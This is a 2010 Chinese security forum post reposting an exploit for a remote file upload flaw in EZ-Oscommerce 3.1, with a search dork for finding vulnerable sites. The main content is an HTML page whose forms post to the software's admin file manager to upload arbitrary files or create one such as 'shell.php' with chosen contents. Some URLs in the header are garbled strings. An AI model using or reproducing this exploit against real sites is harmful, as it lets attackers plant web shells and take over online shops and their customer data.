首页
社区
课程
招聘
[推荐]国外的EZ-Oscommerce 3.1上传漏洞
发表于: 2010-7-20 22:43 4348

[推荐]国外的EZ-Oscommerce 3.1上传漏洞

2010-7-20 22:43
4348
########################################################################
# Vendor: fd9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2*7L8%4y4U0i4K6u0W2j5$3!0E0
# Date: 2010-05-27
# Author : indoushka
# Thanks to : Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact : indoushka@hotmail.com
# Home : 7c2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4J5j5h3u0Q4x3X3c8T1L8r3q4U0K9$3S2S2N6q4)9J5k6h3y4G2i4K6u0W2j5$3x3`.
# Dork :Powered by osCommerce | Customized by EZ-Oscommerce
# Bug  : Remote File Upload
# Tested on : windows SP2 Fran?ais V.(Pnx2 2.0)
########################################################################
                                                                                                                                                                                                
# Exploit By indoushka

<html><head><title> EZ-Oscommerce 3.1 - Remote File Upload </title></head>

<br><br><u>UPLOAD FILE:</u><br>

<form name="file" action="http://site/admin/file_manager.php/login.php?action=processuploads" method="post" enctype="multipart/form-data">

<input type="file" name="file_1"><br>

<input name="submit" type="submit" value="   Upload   " >

</form>

<br><u>CREATE FILE:</u><br>

<form name="new_file" action="http://site/admin/file_manager.php/login.php?action=save" method="post">

FILE NAME:<br>

<input type="text" name="filename">  (ex. shell.php)<br>FILE CONTENTS:<br>

<textarea name="file_contents" wrap="soft" cols="70" rows="10"></textarea>

<input name="submit" type="submit" value="   Save   " >

</form>

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ===========================
all my friend :
His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * r1z * D4NB4R * 04fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4D9K9%4u0K6j5h3&6Q4x3X3g2F1k6i4b7`. * MR.SoOoFe * ThE g0bL!N
(cr4wl3r Let the poor live ) * RoAd_KiLlEr * AnGeL25dZ * ViRuS_Ra3cH

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 62
活跃值: (60)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
google一下。发现用户使用量不是很高!
2010-7-20 22:47
0
游客
登录 | 注册 方可回帖
返回